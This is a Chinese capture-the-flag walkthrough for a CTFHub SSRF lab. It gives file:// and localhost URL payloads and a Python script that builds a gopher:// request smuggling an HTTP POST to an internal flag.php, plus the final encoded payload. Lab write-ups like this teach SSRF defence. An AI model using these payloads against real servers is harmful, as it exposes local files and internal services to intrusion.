CTFHUB-SSRF-POST请求

通过file协议访问flag.php文件内容

复制代码
?url=file:///var/www/html/flag.php

右键查看页面源代码

需要从内部携带key发送post数据包即可获得flag

复制代码
?url=http://127.0.0.1/flag.php

得到了key

构造POST请求数据包,进行url编码(新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py)

python 复制代码
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在命令行窗口执行

复制代码
python gopher.py

通过Gopher协议发送请求,得到了flag

复制代码
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A
相关推荐
持敬chijing2 分钟前
白盒测试与代码审计-Claude Code Windows环境搭建
windows·安全·网络安全·网络攻击模型
恒锐丰科技林技术员5 分钟前
EG27517 高速低侧单通道栅极驱动芯片解析
经验分享·嵌入式硬件·硬件工程
Vitaliy Kostrov(柯维远)26 分钟前
客户端如何检查直播流:从流内标记到停止播放
android·运维·服务器·驱动开发·网络安全·系统架构·cdn
LuminousCPP1 小时前
数据库学习笔记(二):MySQL 基础操作入门|在 CentOS Stream 10 上连接、建库与建表
数据库·经验分享·笔记·学习·mysql·centos
摇滚侠1 小时前
使用 VSCode 开发 Java 经验分享
java·经验分享·vscode
虹科数字化与AR2 小时前
让精益管理从“看见问题”走向“确保行动发生”丨LOOP
经验分享·loop
sbjdhjd1 天前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
ychqsq1 天前
234.无题
经验分享·职场和发展
2501_926978331 天前
人机通信协议--人和机器之间的交互想象
人工智能·经验分享·算法·ai写作
GIS数据转换器1 天前
地下空间综合管廊运营管理平台
大数据·开发语言·人工智能·经验分享·perl